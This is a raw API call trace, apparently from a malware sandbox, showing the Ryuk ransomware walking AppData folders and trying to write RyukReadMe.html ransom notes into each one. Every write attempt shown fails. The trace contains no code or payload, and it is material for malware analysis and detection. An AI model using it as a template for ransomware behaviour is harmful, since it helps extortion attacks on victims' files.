	[0210.326] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1024\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.326] GetLastError () returned 0x3
	[0210.326] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.326] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0210.327] SetLastError (dwErrCode=0x0) 
	[0210.327] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.327] GetLastError () returned 0x3
	[0210.327] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.327] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.327] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0210.329] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.329] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x212, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 1
	[0210.329] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x212, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 0
	[0210.329] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0210.330] SetLastError (dwErrCode=0x0) 
	[0210.330] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.330] GetLastError () returned 0x3
	[0210.330] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.330] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0210.330] SetLastError (dwErrCode=0x0) 
	[0210.330] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.330] GetLastError () returned 0x3
	[0210.330] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.331] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0210.331] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.331] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0210.331] SetLastError (dwErrCode=0x0) 
	[0210.331] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.331] GetLastError () returned 0x3
	[0210.332] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.332] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.332] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.332] SetLastError (dwErrCode=0x0) 
	[0210.332] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.332] GetLastError () returned 0x3
	[0210.332] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.333] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="Burn1", cAlternateFileName="")) returned 1
	[0210.333] SetLastError (dwErrCode=0x0) 
	[0210.333] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.333] GetLastError () returned 0x3
	[0210.333] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.333] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.333] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.333] SetLastError (dwErrCode=0x0) 
	[0210.333] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.333] GetLastError () returned 0x3
	[0210.334] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.334] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 1
	[0210.334] SetLastError (dwErrCode=0x0) 
	[0210.334] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.517] GetLastError () returned 0x3
	[0210.517] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.518] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.518] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.518] SetLastError (dwErrCode=0x0) 
	[0210.518] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn2\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.518] GetLastError () returned 0x3
	[0210.518] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.518] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 0
	[0210.518] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0210.518] SetLastError (dwErrCode=0x0) 
	[0210.518] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.518] GetLastError () returned 0x3
	[0210.519] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.519] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1
	[0210.519] SetLastError (dwErrCode=0x0) 
	[0210.519] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.519] GetLastError () returned 0x3
	[0210.519] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.519] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0210.520] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.520] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa1c6ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaa1c6ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaa1c6ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x212, dwReserved1=0x0, cFileName="cversions.1.db", cAlternateFileName="CVERSI~1.DB")) returned 1
	[0210.520] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x408bd0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x408bd0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x408bd0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x18388, dwReserved0=0x212, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db", cAlternateFileName="{AFBF9~3.DB")) returned 1
	[0210.520] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x212, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 1
	[0210.520] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x212, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 0
	[0210.520] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0210.521] SetLastError (dwErrCode=0x0) 
